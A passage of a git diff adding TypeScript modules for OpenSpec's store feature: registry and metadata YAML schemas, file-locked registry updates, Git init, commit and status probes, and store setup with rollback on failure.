isNodeErrorCode(error, 'ENOENT'); +} + +function normalizeExistingPathForStorage(existingPath: string): string { + return FileSystemUtils.canonicalizeExistingPath(existingPath); +} + +function nonEmptyOptionalString() { + return z.string().min(1).optional(); +} + +const GitBackendConfigSchema = z.object({ + type: z.literal('git'), + local_path: z.string().min(1), + remote: nonEmptyOptionalString(), + branch: nonEmptyOptionalString(), +}).strict(); + +const RegistryEntrySchema = z.object({ + backend: GitBackendConfigSchema, +}).strict(); + +const RegistryStateSchema = z.object({ + version: z.literal(1), + stores: z.record(z.string(), RegistryEntrySchema), + // Legacy code-checkout map data is tolerated on read and dropped on + // the next write. + repos: z.unknown().optional(), +}).strict(); + +const MetadataStateSchema = z.object({ + version: z.literal(1), + id: z.string(), + remote: nonEmptyOptionalString(), +}).strict(); + +function storeStateDiagnostic(label: string): { + code: string; + target: string; + fix: string; +} { + if (label.includes('metadata')) { + return { + code: 'invalid_store_metadata', + target: 'store.metadata', + fix: 'Repair .openspec-store/store.yaml.', + }; + } + + return { + code: 'invalid_store_registry', + target: 'store.registry', + fix: `Repair or remove ${getStoreRegistryPath({})}.`, + }; +} + +function invalidStoreStateError(label: string, message: string): StoreError { + const diagnostic = storeStateDiagnostic(label); + return new StoreError(`Invalid ${label}: ${message}`, diagnostic.code, { + target: diagnostic.target, + fix: diagnostic.fix, + }); +} + +function parseYamlObject(content: string, label: string): unknown { + try { + return parseYaml(content); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + throw invalidStoreStateError(label, message); + } +} + +function assertValidStoreIds(ids: string[], label: string): void { + for (const id of ids) { + if (!isKebabId(id)) { + throw invalidStoreStateError( + label, + `'${id}': ${KEBAB_ID_DESCRIPTION}` + ); + } + } +} + +export function parseStoreRegistryState(content: string): StoreRegistryState { + const raw = parseYamlObject(content, 'store registry state'); + const result = RegistryStateSchema.safeParse(raw); + + if (!result.success) { + throw invalidStoreStateError( + 'store registry state', + formatZodIssues(result.error) + ); + } + + assertValidStoreIds(Object.keys(result.data.stores), 'store id'); + + return { + version: 1, + stores: result.data.stores, + }; +} + +export function parseStoreMetadataState(content: string): StoreMetadataState { + const raw = parseYamlObject(content, 'store metadata state'); + const result = MetadataStateSchema.safeParse(raw); + + if (!result.success) { + throw invalidStoreStateError( + 'store metadata state', + formatZodIssues(result.error) + ); + } + + validateStoreId(result.data.id); + + return { + version: 1, + id: result.data.id, + ...(result.data.remote !== undefined ? { remote: result.data.remote } : {}), + }; +} + +export function serializeStoreRegistryState(state: StoreRegistryState): string { + const result = RegistryStateSchema.safeParse(state); + + if (!result.success) { + throw invalidStoreStateError( + 'store registry state', + formatZodIssues(result.error) + ); + } + + assertValidStoreIds(Object.keys(result.data.stores), 'store id'); + + return stringifyYaml({ + version: 1, + stores: result.data.stores, + }); +} + +export function serializeStoreMetadataState(state: StoreMetadataState): string { + const result = MetadataStateSchema.safeParse(state); + + if (!result.success) { + throw invalidStoreStateError( + 'store metadata state', + formatZodIssues(result.error) + ); + } + + validateStoreId(result.data.id); + + return stringifyYaml({ + version: 1, + id: result.data.id, + ...(result.data.remote !== undefined ? { remote: result.data.remote } : {}), + }); +} + +export function listStoreRegistryEntries( + registry: StoreRegistryState +): StoreRegistryEntry[] { + return Object.entries(registry.stores) + .map(([id, store]) => ({ id, backend: store.backend })) + .sort((a, b) => a.id.localeCompare(b.id)); +} + +export async function isStoreRoot(candidateRoot: string): Promise<boolean> { + return pathIsFile(getStoreMetadataPath(candidateRoot)); +} + +export async function readStoreRegistryState( + options: StorePathOptions = {} +): Promise<StoreRegistryState | null> { + const registryPath = getStoreRegistryPath(options); + + if (!(await pathIsFile(registryPath))) { + return null; + } + + return parseStoreRegistryState(await fs.readFile(registryPath, 'utf-8')); +} + +export async function writeStoreRegistryState( + state: StoreRegistryState, + options: StorePathOptions = {} +): Promise<void> { + await writeFileAtomically( + getStoreRegistryPath(options), + serializeStoreRegistryState(state) + ); +} + +const storeRegistryLockError = makeLockErrorFactory({ + createSubject: 'the registry lock file', + busyMessage: 'Store registry is busy.', + code: 'store_registry_busy', + target: 'store.registry', +}); + +export async function updateStoreRegistryState( + updater: ( + state: StoreRegistryState | null + ) => StoreRegistryState | Promise<StoreRegistryState>, + options: StorePathOptions = {} +): Promise<StoreRegistryState> { + const registryPath = getStoreRegistryPath(options); + const lockPath = `${registryPath}.lock`; + const lock = await acquireFileLock({ + lockPath, + errorFor: storeRegistryLockError, + }); + + try { + const next = await updater(await readStoreRegistryState(options)); + await writeStoreRegistryState(next, options); + return next; + } finally { + await releaseFileLock(lock, lockPath); + } +} + +export async function readStoreMetadataState( + storeRoot: string +): Promise<StoreMetadataState> { + return parseStoreMetadataState( + await fs.readFile(getStoreMetadataPath(storeRoot), 'utf-8') + ); +} + +export async function readOptionalStoreMetadataState( + storeRoot: string +): Promise<StoreMetadataState | null> { + try { + return await readStoreMetadataState(storeRoot); + } catch (error) { + if (isFileNotFoundError(error)) { + return null; + } + + throw error; + } +} + +export async function writeStoreMetadataState( + storeRoot: string, + state: StoreMetadataState +): Promise<void> { + await FileSystemUtils.writeFile( + getStoreMetadataPath(storeRoot), + serializeStoreMetadataState(state) + ); +} + +export async function resolveGitStoreBackendConfig( + input: ResolveGitStoreBackendInput, + cwd = process.cwd() +): Promise<StoreGitBackendConfig> { + if (input.localPath.length === 0) { + throw new Error('Store local path must not be empty.'); + } + + const resolvedPath = path.isAbsolute(input.localPath) + ? path.resolve(input.localPath) + : path.resolve(cwd, input.localPath); + + if (!(await pathIsDirectory(resolvedPath))) { + throw new Error(`Store local path does not exist: ${input.localPath}`); + } + + if (input.remote !== undefined && input.remote.length === 0) { + throw new Error('Store backend remote must not be empty when provided.'); + } + + if (input.branch !== undefined && input.branch.length === 0) { + throw new Error('Store branch must not be empty when provided.'); + } + + return { + type: 'git', + local_path: normalizeExistingPathForStorage(resolvedPath), + ...(input.remote ? { remote: input.remote } : {}), + ...(input.branch ? { branch: input.branch } : {}), + }; +} diff --git a/src/core/store/git.ts b/src/core/store/git.ts new file mode 100644 index 0000000000..8acf91df76 --- /dev/null +++ b/src/core/store/git.ts @@ -0,0 +1,206 @@ +import { execFile } from 'node:child_process'; +import * as nodeFs from 'node:fs'; +import * as path from 'node:path'; +import { promisify } from 'node:util'; + +import { StoreError } from './errors.js'; + +const fs = nodeFs.promises; +const execFileAsync = promisify(execFile); + +/** + * Git mechanics for stores: repository detection, setup-time init and + * commit, and the read-only facts doctor reports. Nothing here clones, pulls, + * pushes, or syncs — setup-time `git init` plus one initial commit is the + * entire write surface. + */ + +function isSpawnNotFoundError(error: unknown): boolean { + return ( + typeof error === 'object' && + error !== null && + 'code' in error && + (error as NodeJS.ErrnoException).code === 'ENOENT' + ); +} + +export async function isGitRepositoryAtRoot(storeRoot: string): Promise<boolean> { + try { + const stat = await fs.stat(path.join(storeRoot, '.git')); + return stat.isDirectory() || stat.isFile(); + } catch { + return false; + } +} + +export async function initGitRepository(storeRoot: string): Promise<boolean> { + if (await isGitRepositoryAtRoot(storeRoot)) { + return false; + } + + try { + await execFileAsync('git', ['init'], { cwd: storeRoot }); + } catch (error) { + throw new StoreError( + `Failed to initialize Git repository: ${error instanceof Error ? error.message : String(error)}`, + 'store_git_init_failed', + { + target: 'store.git', + fix: 'Install Git or rerun setup with --no-init-git.', + } + ); + } + + return true; +} + +/** + * `git var` resolves identity exactly as `git commit` would (config, env vars, + * auto-detection), so this fails precisely when the initial commit would. + */ +export async function assertGitCommitIdentity(probeCwd: string): Promise<void> { + for (const identVar of ['GIT_COMMITTER_IDENT', 'GIT_AUTHOR_IDENT']) { + try { + await execFileAsync('git', ['var', identVar], { cwd: probeCwd }); + } catch (error) { + if (isSpawnNotFoundError(error)) { + throw new StoreError( + 'Git is not available, so setup cannot create the initial store commit.', + 'store_git_init_failed', + { + target: 'store.git', + fix: 'Install Git or rerun setup with --no-init-git.', + } + ); + } + + throw new StoreError( + 'No usable Git commit identity is configured, so setup cannot create the initial store commit.', + 'store_git_identity_missing', + { + target: 'store.git', + fix: 'Run git config --global user.name "Your Name" and git config --global user.email "you@example.com", or rerun setup with --no-init-git.', + } + ); + } + } +} + +/** + * Index-preserving initial commit: the pathspec on `git commit` keeps files + * the user had already staged out of setup's commit and leaves them staged. + * Pathspecs may be files or directories. + */ +export async function commitStoreFiles( + storeRoot: string, + id: string, + pathspecs: string[] +): Promise<boolean> { + if (pathspecs.length === 0) { + return false; + } + + try { + await execFileAsync('git', ['add', '--', ...pathspecs], { cwd: storeRoot }); + await execFileAsync( + 'git', + ['commit', '-m', `Initialize OpenSpec store ${id}`, '--', ...pathspecs], + { cwd: storeRoot } + ); + } catch (error) { + // Best-effort unstage so a failed commit (gpg signing, hooks) does not + // leave setup's files in the user's index after rollback deletes them. + await execFileAsync('git', ['rm', '--cached', '-r', '-f', '-q', '--', ...pathspecs], { + cwd: storeRoot, + }).catch(() => undefined); + + throw new StoreError( + `Failed to create the initial store commit: ${error instanceof Error ? error.message : String(error)}`, + 'store_git_commit_failed', + { + target: 'store.git', + fix: 'Commit the created files manually, or rerun setup with --no-init-git.', + } + ); + } + + return true; +} + +async function gitProbe(storeRoot: string, args: string[]): Promise<string | null> { + try { + const { stdout } = await execFileAsync('git', ['-C', storeRoot, ...args]); + return stdout; + } catch { + return null; + } +} + +export async function gitHasCommits(storeRoot: string): Promise<boolean | null> { + try { + await execFileAsync('git', ['-C', storeRoot, 'rev-parse', '--verify', '--quiet', 'HEAD']); + return true; + } catch (error) { + if (isSpawnNotFoundError(error)) return null; + // Exit 1 = repo exists but HEAD has no commits. Anything else (exit 128: + // corrupt or fake .git) is unknown, not "commitless". + const exitCode = (error as { code?: number | string }).code; + return exitCode === 1 ? false : null; + } +} + +export async function gitHasUncommittedChanges(storeRoot: string): Promise<boolean | null> { + const stdout = await gitProbe(storeRoot, ['status', '--porcelain']); + return stdout === null ? null : stdout.trim().length > 0; +} + +export async function gitHasRemote(storeRoot: string): Promise<boolean | null> { + const stdout = await gitProbe(storeRoot, ['remote']); + return stdout === null ? null : stdout.trim().length > 0; +} + +/** + * The configured origin URL, read from local Git config only — never a + * network touch. Null when there is no repository or no origin. + */ +export async function gitOriginUrl(storeRoot: string): Promise<string | null> { + const stdout = await gitProbe(storeRoot, ['remote', 'get-url', 'origin']); + const url = stdout?.trim(); + return url ? url : null; +} + +export interface GitTrackingDrift { + ahead: number; + behind: number; +} + +/** + * Ahead/behind counts of HEAD against its configured upstream tracking + * ref, read from local refs only — no fetch, no network. The comparison + * is therefore against the current local upstream ref (typically last + * updated by fetch, but it may be a local branch), not the live remote. + * Null when there is no repository, no upstream, a detached HEAD, or Git + * is unavailable: the absence of a comparison is not drift. + */ +export async function gitTrackingDrift(storeRoot: string): Promise<GitTrackingDrift | null> { + const stdout = await gitProbe(storeRoot, [ + 'rev-list', + '--left-right', + '--count', + '@{upstream}...HEAD', + ]); + if (stdout === null) return null; + const match = stdout.trim().match(/^(\d+)\s+(\d+)$/); + if (!match) return null; + // `--left-right` orders the counts by side of the `...`: left is @{upstream} + // (commits we lack = behind), right is HEAD (commits upstream lacks = ahead). + return { behind: Number(match[1]), ahead: Number(match[2]) }; +} + +export async function gitDirectoryHasTrackedFiles( + storeRoot: string, + relativeDir: string +): Promise<boolean | null> { + const stdout = await gitProbe(storeRoot, ['ls-files', '--', relativeDir]); + return stdout === null ? null : stdout.trim().length > 0; +} diff --git a/src/core/store/index.ts b/src/core/store/index.ts new file mode 100644 index 0000000000..cf011f35d7 --- /dev/null +++ b/src/core/store/index.ts @@ -0,0 +1,4 @@ +export * from './foundation.js'; +export * from './errors.js'; +export * from './registry.js'; +export * from './operations.js'; diff --git a/src/core/store/operations.ts b/src/core/store/operations.ts new file mode 100644 index 0000000000..ccdc976377 --- /dev/null +++ b/src/core/store/operations.ts @@ -0,0 +1,1229 @@ +import { execFile } from 'node:child_process'; +import * as nodeFs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; +import { promisify } from 'node:util'; + +import { FileSystemUtils } from '../../utils/file-system.js'; +import { + classifyOpenSpecDir, + storePointerProblem, +} from '../project-config.js'; +import { + ANCHORED_OPENSPEC_DIRS, + DIRECTORY_ANCHOR_FILE_NAME, + OPENSPEC_ROOT_DIR, + ensureOpenSpecRoot, + inspectOpenSpecRoot, + rollbackCreatedPaths, + type CreatedPathLedgerEntry, + type OpenSpecRootInspection, +} from '../openspec-root.js'; +import { + STORE_METADATA_DIR_NAME, + getStoreMetadataDir, + getStoreMetadataPath, + getStoreRegistryPath, + listStoreRegistryEntries, + readStoreRegistryState, + readOptionalStoreMetadataState, + resolveGitStoreBackendConfig, + validateStoreId, + writeStoreMetadataState, + type StoreGitBackendConfig, + type StorePathOptions, + type StoreRegistryState, +} from './foundation.js'; +import { StoreError, type StoreDiagnostic, makeStoreDiagnostic } from './errors.js'; +import { + assertGitCommitIdentity, + commitStoreFiles, + gitDirectoryHasTrackedFiles, + gitHasCommits, + gitHasRemote, + gitHasUncommittedChanges, + gitOriginUrl, + initGitRepository, + isGitRepositoryAtRoot, +} from './git.js'; +import { + getStoreRootForBackend, + assertNoRegisteredStoreConflict, + commitStoreRegistration, + getRegisteredStore, + listRegisteredStores, + unregisterStoreRegistration, +} from './registry.js'; + +const fs = nodeFs.promises; +const execFileAsync = promisify(execFile); + +type PathKind = 'missing' | 'directory' | 'file' | 'other'; + +export interface StoreInfo { + id: string; + root: string; + metadataPath?: string; +} + +export interface StoreMutationResult { + store: StoreInfo; + /** Clone-source knowledge for human sharing guidance; never in JSON. */ + remotes?: { + canonical?: string; + observed?: string; + }; + registryCommit: { + path: string; + registered: boolean; + alreadyRegistered: boolean; + }; + git: { + isRepository: boolean; + initialized: boolean; + committed: boolean; + }; + createdArtifacts: string[]; + diagnostics: StoreDiagnostic[]; +} + +export interface StoreCleanupResult { + store: StoreInfo; + registryCommit: { + path: string; + removed: boolean; + }; + files: { + deleted: boolean; + deletedPath?: string; + leftOnDisk?: string; + }; + diagnostics: StoreDiagnostic[]; +} + +export interface StoreListResult { + stores: StoreInfo[]; +} + +export interface StoreDoctorResult { + stores: StoreInspection[]; + diagnostics: StoreDiagnostic[]; +} + +export interface StoreInspection extends StoreInfo { + openspecRoot: OpenSpecRootInspection; + metadata: { + present: boolean | null; + valid: boolean | null; + id?: string; + /** Canonical clone source from store.yaml; null when absent. */ + remote: string | null; + }; + git: { + isRepository: boolean | null; + hasCommits: boolean | null; + hasUncommittedChanges: boolean | null; + hasRemote: boolean | null; + /** Observed origin URL, live-probed; null when none. */ + originUrl: string | null; + }; + diagnostics: StoreDiagnostic[]; +} + +export interface SetupStoreInput { + id?: string; + path?: string; + initGit?: boolean; + allowInsideGitRepository?: boolean; + /** Canonical clone source written into store.yaml (slice 3.3). */ + remote?: string; +} + +export interface RegisterExistingStoreInput { + path?: string; + id?: string; + allowCreateIdentity?: boolean; +} + +export interface CleanupStoreInput extends StorePathOptions { + id: string; +} + +export interface PreparedStoreCleanup extends StoreInfo, StorePathOptions { + backend: StoreGitBackendConfig; +} + +export interface PreparedStoreSetup { + id: string; + root: string; + rootKind: Extract<PathKind, 'missing' | 'directory'>; + backend?: StoreGitBackendConfig; + registry: StoreRegistryState | null; + remote?: string; +} + +interface StoreSetupPlan { + id: string; + storeRoot: string; + kind: Extract<PathKind, 'missing' | 'directory'>; + backend?: StoreGitBackendConfig; + registry: StoreRegistryState | null; +} + +async function pathKind(targetPath: string): Promise<PathKind> { + try { + const stat = await fs.stat(targetPath); + if (stat.isDirectory()) return 'directory'; + if (stat.isFile()) return 'file'; + return 'other'; + } catch (error) { + if ( + typeof error === 'object' && + error !== null && + 'code' in error && + (error as NodeJS.ErrnoException).code === 'ENOENT' + ) { + return 'missing'; + } + throw error; + } +} + +async function isDirectoryEmpty(directory: string): Promise<boolean> { + return (await fs.readdir(directory)).length === 0; +} + +async function readStoreMetadataForOperation(storeRoot: string) { + try { + return await readOptionalStoreMetadataState(storeRoot); + } catch (error) { + throw new StoreError( + error instanceof Error ? error.message : String(error), + 'invalid_store_metadata', + { + target: 'store.metadata', + fix: `Repair ${getStoreMetadataPath(storeRoot)}.`, + } + ); + } +} + +async function isGitOnlyDirectory(storeRoot: string): Promise<boolean> { + const entries = await fs.readdir(storeRoot); + return entries.length === 1 && entries[0] === '.git' && await isGitRepositoryAtRoot(storeRoot); +} + +function alreadyRegisteredDiagnostic(id: string): StoreDiagnostic { + return makeStoreDiagnostic( + 'info', + 'store_already_registered', + `Store '${id}' is already registered at this path.`, + { + target: 'store.registry', + } + ); +} + +function assertNotConfigOnlyPointerRoot(storeRoot: string): void { + const { hasPlanningShape, pointer } = classifyOpenSpecDir(storeRoot); + if (hasPlanningShape || pointer.filePath === null) return; + + if (pointer.malformed) { + throw new StoreError( + `The store declaration in ${pointer.filePath} is invalid (${storePointerProblem(pointer.malformed)}).`, + 'invalid_store_pointer', + { + target: 'store.pointer', + fix: `Fix or remove the store: line in ${pointer.filePath} before registering this path as a store.`, + } + ); + } + + if (pointer.value !== undefined) { + throw new StoreError( + `This repo's planning is externalized to store '${pointer.value}' (${pointer.filePath}); it is not itself a store root.`, + 'store_root_pointer_declared', + { + target: 'store.pointer', + fix: 'Register the checkout for the declared store, or remove the store: line first to convert this repo into a local store root.', + } + ); + } +} + +function createdPath(relativePath: string, absolutePath: string, kind: CreatedPathLedgerEntry['kind']): CreatedPathLedgerEntry { + return { + relativePath, + absolutePath, + kind, + }; +} + +async function nearestExistingDirectory(targetPath: string): Promise<string | null> { + let current = path.resolve(targetPath); + + while (true) { + const kind = await pathKind(current); + if (kind === 'directory') return current; + if (kind !== 'missing') return null; + + const parent = path.dirname(current); + if (parent === current) return null; + current = parent; + } +} + +async function findContainingGitRepositoryRoot(storeRoot: string): Promise<string | null> { + const resolvedStoreRoot = path.resolve(storeRoot); + const nearestParent = await nearestExistingDirectory(path.dirname(resolvedStoreRoot)); + if (!nearestParent) return null; + const comparableStoreRoot = path.resolve( + FileSystemUtils.canonicalizeExistingPath(nearestParent), + path.relative(nearestParent, resolvedStoreRoot) + ); + + const gitRootContainsStore = (gitRoot: string): string | null => { + const normalizedGitRoot = FileSystemUtils.canonicalizeExistingPath(gitRoot); + const relative = path.relative(normalizedGitRoot, comparableStoreRoot); + return relative.length > 0 && !relative.startsWith('..') && !path.isAbsolute(relative) + ? normalizedGitRoot + : null; + }; + + try { + const { stdout } = await execFileAsync('git', [ + '-C', + nearestParent, + 'rev-parse', + '--show-toplevel', + ]); + return gitRootContainsStore(stdout.trim()); + } catch { + let current = nearestParent; + while (true) { + if (await isGitRepositoryAtRoot(current)) { + return gitRootContainsStore(current); + } + + const parent = path.dirname(current); + if (parent === current) return null; + current = parent; + } + } +} + +async function assertSetupPathIsNotNestedInGitRepo( + storeRoot: string, + options: { allowInsideGitRepository?: boolean } +): Promise<void> { + if (options.allowInsideGitRepository) return; + + const containingGitRoot = await findContainingGitRepositoryRoot(storeRoot); + if (!containingGitRoot) return; + + throw new StoreError( + `Store setup path is inside another Git repository: ${containingGitRoot}`, + 'store_setup_inside_git_repo', + { + target: 'store.root', + fix: 'Choose a path outside that Git repository.', + } + ); +} + +export function expandUserPath(inputPath: string): string { + const trimmed = inputPath.trim(); + if (trimmed === '~') return os.homedir(); + if (trimmed.startsWith('~/') || trimmed.startsWith('~\\')) { + return path.join(os.homedir(), trimmed.slice(2)); + } + + return trimmed; +} + +function resolveSetupRoot(id: string, inputPath: string | undefined): string { + // A store is a repo the user places; setup never silently picks app data. + if (inputPath === undefined || inputPath.trim().length === 0) { + throw new StoreError( + 'Pass --path with the folder where this store should live.', + 'store_setup_path_required', + { + target: 'store.root', + fix: `openspec store setup ${id} --path ~/openspec/${id}`, + } + ); + } + + return path.resolve(expandUserPath(inputPath)); +} + +function resolveRegisterRoot(inputPath: string | undefined): string { + if (inputPath === undefined || inputPath.trim().length === 0) { + throw new StoreError('Pass a store path.', 'store_path_required', { + target: 'store.root', + fix: 'openspec store register /path/to/store', + }); + } + + return path.resolve(expandUserPath(inputPath)); +} + +function inferStoreIdFromPath(storeRoot: string): string { + return validateStoreId(path.basename(storeRoot)); +} + +function normalizeRegistryPathForComparison(targetPath: string): string { + try { + return FileSystemUtils.canonicalizeExistingPath(targetPath); + } catch { + return path.resolve(targetPath); + } +} + +function isRegisteredAtPath( + registry: StoreRegistryState | null, + id: string, + storeRoot: string +): boolean { + const entry = registry?.stores?.[id]; + if (!entry) return false; + + return ( + normalizeRegistryPathForComparison(getStoreRootForBackend(entry.backend)) === + normalizeRegistryPathForComparison(storeRoot) + ); +} + +function mutationPayload( + id: string, + storeRoot: string, + git: { isRepository: boolean; initialized: boolean; committed: boolean }, + createdFiles: string[], + registry: { registered: boolean; alreadyRegistered: boolean }, + diagnostics: StoreDiagnostic[] = [], + remotes?: { canonical?: string; observed?: string } +): StoreMutationResult { + return { + store: { + id, + root: storeRoot, + metadataPath: getStoreMetadataPath(storeRoot), + }, + ...(remotes && (remotes.canonical || remotes.observed) ? { remotes } : {}), + registryCommit: { + path: getStoreRegistryPath(), + registered: registry.registered, + alreadyRegistered: registry.alreadyRegistered, + }, + git: { + isRepository: git.isRepository, + initialized: git.initialized, + committed: git.committed, + }, + createdArtifacts: createdFiles, + diagnostics, + }; +} + + + +function remoteRequiresHandEditError(id: string, storeRoot: string): StoreError { + return new StoreError( + `Store '${id}' already has an identity file; --remote cannot change it.`, + 'store_remote_requires_hand_edit', + { + target: 'store.metadata', + fix: `Edit ${getStoreMetadataPath(storeRoot)} and commit it.`, + } + ); +} + +/** + * Backend config carrying the observed origin. Guarded by an at-root + * repository check: `git -C` discovers repositories by walking UP the + * tree, so probing a non-repo store folder nested inside another repo + * would record the ENCLOSING repo's origin. + */ +async function resolveBackendWithObservedOrigin( + storeRoot: string +): Promise<StoreGitBackendConfig> { + const origin = (await isGitRepositoryAtRoot(storeRoot)) + ? await gitOriginUrl(storeRoot) + : null; + return resolveGitStoreBackendConfig({ + localPath: storeRoot, + ...(origin ? { remote: origin } : {}), + }); +} + +async function prepareSetupPlan( + input: Pick<SetupStoreInput, 'id' | 'path' | 'allowInsideGitRepository' | 'remote'> +): Promise<StoreSetupPlan> { + const id = validateStoreId(input.id ?? ''); + if (input.remote !== undefined && input.remote.length === 0) { + throw new StoreError('Store remote must not be empty when provided.', 'store_remote_empty', { + target: 'store.metadata', + fix: 'Pass a clone URL: --remote <url>.', + }); + } + const storeRoot = resolveSetupRoot(id, input.path); + const kind = await pathKind(storeRoot); + + if (kind === 'file' || kind === 'other') { + throw new StoreError( + `Store setup path is not a directory: ${storeRoot}`, + 'store_setup_path_not_directory', + { + target: 'store.root', + fix: 'Choose an empty directory or an existing healthy OpenSpec root.', + } + ); + } + + // Stores may be Git-backed, but creating one inside an implementation + // repo is almost always an accidental nested-repo setup. + await assertSetupPathIsNotNestedInGitRepo(storeRoot, { + allowInsideGitRepository: input.allowInsideGitRepository, + }); + + let metadata: Awaited<ReturnType<typeof readStoreMetadataForOperation>> = null; + let backend: StoreGitBackendConfig | undefined; + + if (kind === 'directory') { + assertNotConfigOnlyPointerRoot(storeRoot); + metadata = await readStoreMetadataForOperation(storeRoot); + + if (metadata) { + if (metadata.id !== id) { + throw new StoreError( + `Store metadata id '${metadata.id}' does not match requested id '${id}'.`, + 'store_metadata_id_mismatch', + { + target: 'store.metadata', + fix: `Use id '${metadata.id}' or choose a different setup path.`, + } + ); + } + if (input.remote !== undefined) { + // Silent acceptance is the forbidden outcome: the identity file + // already exists, so --remote cannot reach the committed shape. + throw remoteRequiresHandEditError(id, storeRoot); + } + } else { + const openspecRoot = await inspectOpenSpecRoot(storeRoot); + const safeFreshDirectory = await isDirectoryEmpty(storeRoot) || await isGitOnlyDirectory(storeRoot); + if (!openspecRoot.healthy && !safeFreshDirectory) { + throw new StoreError( + 'Store setup does not support initializing a non-empty folder that is not a healthy OpenSpec root.', + 'store_setup_non_empty_directory', + { + target: 'store.root', + fix: 'Choose an empty folder, a Git-only folder, or an existing healthy OpenSpec root.', + } + ); + } + } + + backend = await resolveBackendWithObservedOrigin(storeRoot); + } + + const registry = await readStoreRegistryState(); + const conflictBackend = backend ?? { + type: 'git' as const, + local_path: FileSystemUtils.canonicalizeExistingPath(storeRoot), + }; + + assertNoRegisteredStoreConflict(registry, id, conflictBackend); + + return { + id, + storeRoot, + kind, + registry, + ...(backend ? { backend } : {}), + }; +} + +/** + * Resolves the effective Git mode for a prepared setup: on by default for new + * stores, off for reruns of an already-registered store (which must stay + * no-ops), and always honoring an explicit --init-git/--no-init-git. + */ +export function resolveSetupGitEnabled( + prepared: PreparedStoreSetup, + initGit?: boolean +): boolean { + return initGit ?? !isRegisteredAtPath(prepared.registry, prepared.id, prepared.root); +} + +export async function prepareStoreSetup( + input: Pick<SetupStoreInput, 'id' | 'path' | 'allowInsideGitRepository' | 'remote'> +): Promise<PreparedStoreSetup> { + const plan = await prepareSetupPlan(input); + + return { + id: plan.id, + root: plan.storeRoot, + rootKind: plan.kind, + registry: plan.registry, + ...(plan.backend ? { backend: plan.backend } : {}), + ...(input.remote !== undefined ? { remote: input.remote } : {}), + }; +} + +export async function setupPreparedStore( + prepared: PreparedStoreSetup, + input: Pick<SetupStoreInput, 'initGit'> = {} +): Promise<StoreMutationResult> { + const plan: StoreSetupPlan = { + id: prepared.id, + storeRoot: prepared.root, + kind: prepared.rootKind, + registry: prepared.registry, + ...(prepared.backend ? { backend: prepared.backend } : {}), + }; + const { id, storeRoot, kind, registry } = plan; + let { backend } = plan; + + // The prepare/execute split can span an unbounded interactive + // confirmation. Re-assert the prepare-time directory facts: if the + // path appeared in the gap, the plan (and its rollback policy) no + // longer describes reality - refuse and let a rerun re-prepare. + if (kind === 'missing' && (await fs.access(storeRoot).then(() => true, () => false))) { + throw new StoreError( + `The path ${storeRoot} was created while setup was waiting for confirmation.`, + 'store_setup_path_changed', + { + target: 'store.root', + fix: 'Rerun openspec store setup to re-evaluate the directory.', + } + ); + } + + const createdFiles: string[] = []; + let createdPaths: CreatedPathLedgerEntry[] = []; + let gitInitialized = false; + let committed = false; + + // Reruns for an already-registered store stay strict no-ops: no anchor + // retrofit, no git init, no new commit, no identity requirement. Only an + // explicit --init-git overrides that for the git side. + const alreadyRegisteredHere = isRegisteredAtPath(registry, id, storeRoot); + + // --no-init-git opts out of every Git action: no preflight, no init, no + // commit, even when the target is already a repository. + const gitEnabled = input.initGit ?? !alreadyRegisteredHere; + const repoExisted = await isGitRepositoryAtRoot(storeRoot); + + // Identity preflight runs before anything is created so a missing identity + // never leaves half-made state behind. + if (gitEnabled) { + await assertGitCommitIdentity( + (await nearestExistingDirectory(storeRoot)) ?? process.cwd() + ); + } + + try { + const root = await ensureOpenSpecRoot(storeRoot, { + anchorEmptyDirectories: !alreadyRegisteredHere, + }); + createdFiles.push(...root.createdArtifacts); + createdPaths = root.createdPaths; + backend ??= await resolveBackendWithObservedOrigin(storeRoot); + assertNoRegisteredStoreConflict(registry, id, backend); + + // The identity file is written before the initial commit so clones carry + // it; without it, register falls back to the conversion prompt. + const existingMetadata = await readStoreMetadataForOperation(storeRoot); + if (existingMetadata && prepared.remote !== undefined) { + // Re-assert the prepare-phase refusal: metadata that materialized + // between prepare and execute must not silently swallow --remote. + throw remoteRequiresHandEditError(id, storeRoot); + } + if (!existingMetadata) { + const metadataDir = getStoreMetadataDir(storeRoot); + const metadataDirMissing = (await pathKind(metadataDir)) === 'missing'; + await writeStoreMetadataState(storeRoot, { + version: 1, + id, + ...(prepared.remote !== undefined ? { remote: prepared.remote } : {}), + }); + if (metadataDirMissing) { + createdPaths.push(createdPath('.openspec-store/', metadataDir, 'directory')); + } + createdPaths.push(createdPath( + '.openspec-store/store.yaml', + getStoreMetadataPath(storeRoot), + 'file' + )); + createdFiles.push('.openspec-store/store.yaml'); + } + + gitInitialized = gitEnabled ? await initGitRepository(storeRoot) : false; + const isRepository = gitInitialized || repoExisted; + // "Files created for rollback" and "files a clone needs" are different + // sets: when setup initialized the repository itself, the initial commit + // must contain the full store shape or clones of a converted root would + // be unhealthy. In a pre-existing repo the user owns the history, so + // setup commits only what it created. + const commitPathspecs = gitInitialized + ? [OPENSPEC_ROOT_DIR, STORE_METADATA_DIR_NAME] + : createdPaths + .filter((entry) => entry.kind === 'file') + .map((entry) => entry.relativePath); + committed = gitEnabled && isRepository + ? await commitStoreFiles(storeRoot, id, commitPathspecs) + : false; + + // Identity creation is setup's job (done above, before the commit); + // registration only verifies it and records the machine-local entry. + const registered = await commitStoreRegistration({ + id, + backend, + writeMetadataIfMissing: false, + }); + const diagnostics = registered.alreadyRegistered && createdFiles.length === 0 + ? [alreadyRegisteredDiagnostic(id)] + : []; + + const canonical = prepared.remote ?? existingMetadata?.remote; + return mutationPayload(id, registered.storeRoot, { + isRepository, + initialized: gitInitialized, + committed, + }, createdFiles, { + registered: registered.registryUpdated, + alreadyRegistered: registered.alreadyRegistered, + }, diagnostics, { + ...(canonical ? { canonical } : {}), + ...(backend.remote ? { observed: backend.remote } : {}), + }); + } catch (error) { + // Once the initial commit landed in a (possibly user-owned) repository, + // the files are durable state; deleting them would orphan the commit. + // The only remaining failure is the registry write, which is retryable. + if (committed) { + throw error; + } + + if (createdPaths.length > 0) { + await rollbackCreatedPaths(createdPaths); + } + // G14: a half-made .git is never durable state pre-commit - clean it + // up regardless of whether the ledger recorded other creations, or a + // rerun registers a commitless store. + if (gitInitialized) { + await fs.rm(path.join(storeRoot, '.git'), { recursive: true, force: true }).catch(() => undefined); + } + if (kind === 'missing') { + // Non-recursive both ways: never delete content this operation did + // not create (the execute-time re-check guarantees kind is accurate, + // but rmdir is the belt to that suspender). + await fs.rmdir(storeRoot).catch(() => undefined); + } 